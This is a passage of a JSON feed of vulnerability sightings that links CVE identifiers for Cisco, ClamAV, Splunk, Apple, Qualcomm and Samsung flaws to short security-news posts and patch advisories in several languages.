a device reload and cause a denial-of-service condition.\n\nCisco says exploitation is already underway and no workaround exists.\n\nPatch now: https://thehackernews.com/2026/08/cisco-asa-and-ftd-flaw-exploited-in.html", "creation_timestamp": "2026-08-12T08:00:07.491274Z"}, {"uuid": "2ba687af-bb32-4c7b-8bdb-bedbc2f79937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20182", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mmy65wlkef24", "content": "Original text: \u201cCVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller (FIXED)\u201d \u2014 Jonah Burgess & Stephen Fewer, Rapid7 (May 14, 2026). Vendor advisory: cisco-sa-sdwan-rpa2-v69WY2SW.\nhttps://core-jmp.org/2026/05/cve-2026-20182-cisco-catalyst-sd-wan-vhub-auth-bypass/", "creation_timestamp": "2026-05-29T08:57:13.134942Z"}, {"uuid": "f872797c-aa51-428c-82a2-576f4de1fd74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20337", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3msuofib4cw26", "content": "\ud83d\udcf0 Cisco Peringatkan Dua Kerentanan ClamAV dengan Exploit yang Sudah Tersedia untuk Publik\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/08/12/kerentanan-clamav-cve-2026-20337-cve-2026-20338/\n\n#antivirus #cisco #clamav #cybersecurity #denialOfService #dos #exploit #keamananSiber #", "creation_timestamp": "2026-08-12T08:08:17.363695Z"}, {"uuid": "490a28e8-6da9-4370-85ce-56565aff3106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20338", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3msuofib4cw26", "content": "\ud83d\udcf0 Cisco Peringatkan Dua Kerentanan ClamAV dengan Exploit yang Sudah Tersedia untuk Publik\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/08/12/kerentanan-clamav-cve-2026-20337-cve-2026-20338/\n\n#antivirus #cisco #clamav #cybersecurity #denialOfService #dos #exploit #keamananSiber #", "creation_timestamp": "2026-08-12T08:08:17.421058Z"}, {"uuid": "a5513449-f404-434b-83c3-6db740129e30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/CyberDispatch/983", "content": "Apple patched a WebKit flaw that lets crafted pages bypass browser isolation.\n\nCVE-2026-20643 impacts iOS, iPadOS, and macOS. Fixes now ship via background updates, outside full OS releases.", "creation_timestamp": "2026-08-29T20:00:18.734662Z"}, {"uuid": "7d460d99-cb75-4cf7-994d-c0054b2183f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-04)", "content": "", "creation_timestamp": "2026-08-05T10:00:05.238295Z"}, {"uuid": "e3344f4c-5ec5-4a9b-8e05-3ef10e18ccd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20349", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3msupk5qtjs2a", "content": "\ud83d\udcf0 Cisco Peringatkan Celah VPN ASA dan FTD yang Dieksploitasi untuk Melumpuhkan Perangkat\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/08/12/cisco-cve-2026-20349-asa-ftd-vpn/\n\n#cisco #ciscoAsa #ciscoFtd #cve-2026-20349 #cybersecurity #denialOfService #dos #firewall #keamananSiber", "creation_timestamp": "2026-08-12T08:28:46.865229Z"}, {"uuid": "c8898cfc-2049-4700-bf6c-85d68c6e6698", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20315", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mtj37yjki42d", "content": "CVE-2026-20315 is trending. Hype score 4, currently #10 on cvemon.\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Workload engineering team has conducted a comprehensive internal security review.\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20315", "creation_timestamp": "2026-08-20T10:51:05.992571Z"}, {"uuid": "67bb2546-1202-4b00-912c-5bd6ffc4fe69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mtaoo6jumm2z", "content": "Top 3 CVE for last 7 days:\nCVE-2026-68820: 40 interactions\nCVE-2026-59310: 37 interactions\nCVE-2026-20349: 14 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-33696: 5 interactions\nCVE-2026-17581: 3 interactions\nCVE-2026-14498: 2 interactions\n", "creation_timestamp": "2026-08-17T02:45:05.932868Z"}, {"uuid": "ba00ba17-c53c-48e2-8573-30fa5fdb0a1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://thehackernews.com/2026/08/cisco-asa-and-ftd-flaw-exploited-in.html", "content": "Cisco has warned that a new vulnerability impacting Secure Firewall Adaptive Security Appliance (ASA) Software and Secure Firewall Threat Defense (FTD) Software has been exploited in the wild.\n\nThe high-severity flaw, tracked as CVE-2026-20349 (CVSS score: 8.6), is a case of insufficient error checking when processing HTTP requests that could allow an unauthenticated, remote attacker to trigger", "creation_timestamp": "2026-08-12T10:02:01.933484Z"}, {"uuid": "e411a112-91c9-4fc4-9f2a-6cff12f50b8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3msuuuvcpjy2w", "content": "Cisco has confirmed active exploitation of a high-severity vulnerability (CVE-2026-20349) in its Secure Firewall ASA and FTD Software. The flaw [\u2026]", "creation_timestamp": "2026-08-12T10:04:16.372577Z"}, {"uuid": "99a842e4-826f-4b77-8f50-1c5b66bafea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://t.me/pphm_HackerNews/2590", "content": "\ud83d\udd34 Cisco Patches Firewall Zero-Day Exploited for DoS Attacks\n\nCisco informed customers on Tuesday that it has released patches for a zero-day vulnerability affecting firewalls running Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) software.\n\nThe security hole, tracked as CVE-2026-20349, is related to the processing of HTTP requests. \n\nA remote, unauthenticated attacker can cause an appliance to reload and enter a denial-of-service (DoS) condition by sending a specially crafted HTTP request to the Remote Access SSL VPN service. \n\nThe vulnerability was discovered internally by Cisco and also reported by an external researcher.", "creation_timestamp": "2026-08-21T23:00:06.435499Z"}, {"uuid": "3a90833d-dc6e-4b06-a3ae-3ec3e213c9db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-21T23:00:06.552828Z"}, {"uuid": "0577f359-c601-44ae-95de-6ba5beacaaed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://t.me/bdufstecru/3382", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Remote Access SSL VPN \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Cisco Adaptive Security Appliance (ASA) \u0438 Cisco Secure Firewall Threat Defense (FTD) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0447\u0438\u0441\u0442\u043a\u043e\u0439 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-11520\nCVE-2026-20349\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-dzv4mQFF", "creation_timestamp": "2026-08-14T14:00:04.553691Z"}, {"uuid": "4d758d2b-d402-443d-9385-744d5ce52879", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20298", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-21T23:00:08.723954Z"}, {"uuid": "f12a5bb3-2aa9-4d8a-8652-871a39e6109e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20347", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-21T23:00:06.328942Z"}, {"uuid": "e093277a-a57a-43a2-a393-933d7bb40911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-21T23:00:06.368613Z"}, {"uuid": "4603a92e-6b5d-4456-90fb-2cea8e79e464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-21T23:00:06.401959Z"}, {"uuid": "a401fe1b-8640-4742-b555-c7cfaf2fe2b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20452", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7ign2zc62v", "content": "CVE-2026-20452 - \"Qualcomm WCN wlan AP Driver Heap Buffer Overflow\"\nCVE ID : CVE-2026-20452\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : In wlan AP driver, there is a possible memory corruption due to a heap buffer overflow. This could lead ...", "creation_timestamp": "2026-06-01T06:49:39.889051Z"}, {"uuid": "7050ed33-3b04-42e0-aa62-916f4b55ad42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20456", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7isyvduu2b", "content": "CVE-2026-20456 - \"Qualcomm WCN wlan STA Driver Buffer Overflow Vulnerability\"\nCVE ID : CVE-2026-20456\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : In wlan STA driver, there is a possible system crash due to a missing bounds check. This could...", "creation_timestamp": "2026-06-01T06:56:35.095964Z"}, {"uuid": "73119261-9e7f-4ec3-8858-d33484224db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20455", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7iwm26vl2b", "content": "CVE-2026-20455 - GenieZone Out-of-Bounds Write Vulnerability\nCVE ID : CVE-2026-20455\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : In geniezone, there is a possible out of bounds write due to a missing bounds check. This could lead to local e...", "creation_timestamp": "2026-06-01T06:58:35.626002Z"}, {"uuid": "d30cabb5-5ed3-446a-a007-eef462700157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20453", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7j2hfas22y", "content": "CVE-2026-20453 - Geniezone Out-of-Bounds Write Vulnerability\nCVE ID : CVE-2026-20453\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : In geniezone, there is a possible out of bounds write due to a missing bounds check. This could lead to local e...", "creation_timestamp": "2026-06-01T07:00:44.827771Z"}, {"uuid": "d0694d1a-a21a-44b9-b247-124666271769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20454", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn7j6mg4aa2j", "content": "CVE-2026-20454 - Geniezone Out-of-Bounds Write Vulnerability\nCVE ID : CVE-2026-20454\n \n Published : June 1, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : In geniezone, there is a possible out of bounds write due to a race condition. This could lead to local escalat...", "creation_timestamp": "2026-06-01T07:03:06.340452Z"}, {"uuid": "16bccdae-08d0-437a-b8b2-b1628a92ca2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-21T23:00:06.480434Z"}, {"uuid": "2cd0a1d5-80b1-4525-bb16-6a3a4d3b8145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-21T23:00:06.518276Z"}, {"uuid": "f1f5aa9e-2633-4584-927a-cea40b346d06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-21T23:00:08.642540Z"}, {"uuid": "14de81aa-d27b-4598-8662-c8fa7afd71f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20297", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-21T23:00:08.678907Z"}, {"uuid": "3c3511d7-d1aa-4726-a981-f3eac044003b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://t.me/pphm_HackerNews/2557", "content": "\ud83d\udd34 Apple Private Cloud Compute Path Traversal Flaw Lets Attackers Write Files as Root\n\nSecurity researcher Drinor Selmanaj has disclosed a path traversal vulnerability (CVE-2026-20685) in Apple\u2019s Private Cloud Compute (PCC) that allows a privileged network attacker to write attacker-controlled files as root during node boot.\n\nThis flaw affects the Apple Intelligence cloud-inference infrastructure. Apple has addressed the issue in PCC Release 5E290.3 and later, rating it as an information disclosure vulnerability with a CVSS score of 6.5.", "creation_timestamp": "2026-08-21T23:00:06.665266Z"}, {"uuid": "2aadd67d-2b9e-44d2-8e77-c4f1862aabd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20346", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-21T23:00:06.805761Z"}, {"uuid": "fb7041a0-aff2-498c-8435-752e1f8d3dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://t.me/pphm_HackerNews/2380", "content": "\ud83d\udd34 Cisco Secure FMC Zero-Day Exploited in the Wild\n\nCisco on Wednesday announced patches for an actively exploited zero-day vulnerability affecting its Secure Firewall Management Center (FMC) product.\n\nThe security hole, tracked as CVE-2026-20316, has been described as a static credential issue. Specifically, an attacker can leverage default credentials for a low-privilege user account to log into vulnerable devices and access sensitive data.\n\nCisco assigned a \u2018high severity\u2019 rating to the vulnerability, noting that it can be chained with other FMC flaws to escalate privileges.\n\n\u201cIf the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced,\u201d Cisco said in its advisory.", "creation_timestamp": "2026-08-21T23:00:07.534885Z"}, {"uuid": "74d2b131-9b33-4e06-a5f9-76cd5f051b6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20320", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mtjabxdkxh2l", "content": "New Cisco BroadWorks XXE flaw (CVE-2026-20320) lets attackers read config files\u2014patch RI.2026.07 now to stay safe. #Cisco #BroadWorks #XXE #Cybersecurity #CVE2026 #Infosec https://thedailytechfeed.com/critical-xxe-flaw-in-cisco-broadworks-lets-attackers-expose-configuration-files/", "creation_timestamp": "2026-08-20T12:21:41.482938Z"}, {"uuid": "5e1f3571-67fd-48fe-a392-66cb63187234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3msv37kf7kc2b", "content": "A Cisco firewall flaw (CVE-2026-20349) lets a stranger crash your ASA or FTD with one crafted request. No login, no workaround, already exploited.\n\nWhen the box reloads, your VPN tunnels drop and its logs go dark.\n\nPatch to the fixed build by August 14.", "creation_timestamp": "2026-08-12T11:57:36.493610Z"}, {"uuid": "f9b3db87-94f3-4f51-85b3-fa92b2a4334e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20320", "type": "seen", "source": "https://bsky.app/profile/newsfacts.bsky.social/post/3mtjateubts2v", "content": "Onderzoekers ontdekken ernstige XML-kwetsbaarheid in Cisco BroadWorks die toegan\n\nEen ernstige kwetsbaarheid, met een CVSS-score van 7.5 en aangeduid als CVE-2026-20320, is ontdekt in het Cisco BroadWorks-platform. Deze kwetsbaarheid, een XML External Entity (XXE) injection (CWE-611), bevind...", "creation_timestamp": "2026-08-20T12:31:25.287548Z"}, {"uuid": "d4322072-4bcd-49ca-991d-abbbaaaba026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://t.me/information_security_channel/55732", "content": "Cisco Patches Firewall Zero-Day Exploited for DoS Attacks\nhttps://www.securityweek.com/cisco-patches-firewall-zero-day-exploited-for-dos-attacks/\n\nCVE-2026-20349 can be exploited remotely without authentication against Secure Firewall ASA and FTD devices.\nThe post Cisco Patches Firewall Zero-Day Exploited for DoS Attacks (https://www.securityweek.com/cisco-patches-firewall-zero-day-exploited-for-dos-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-08-12T12:00:04.069360Z"}, {"uuid": "259310b2-3427-4b92-9f7e-35270997a686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/trinity.sh/post/3mtb5dkiqmn2s", "content": "Cisco ASA/FTD SSL VPN DoS (CVE-2026-20349, CVSS 8.6) is in CISA KEV, 3 days past their due date. Unauthenticated device reload on any internet-facing firewall with SSL VPN enabled.\n\nDeep dive:", "creation_timestamp": "2026-08-17T07:07:34.477576Z"}, {"uuid": "771fc634-9af0-46d3-b2ac-c86de5b4dd90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20980", "type": "seen", "source": "https://t.me/GithubRedTeam/86872", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a samsung-android-lpe\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Vikramaditya015\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-01 17:49:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoc for CVE-2026-20980, CVE-2026-20981, CVE-2026-20982\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-01T18:00:04.000000Z"}, {"uuid": "f94dd634-e6b4-4f87-bf57-760080ce4094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20982", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/86872", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a samsung-android-lpe\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Vikramaditya015\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 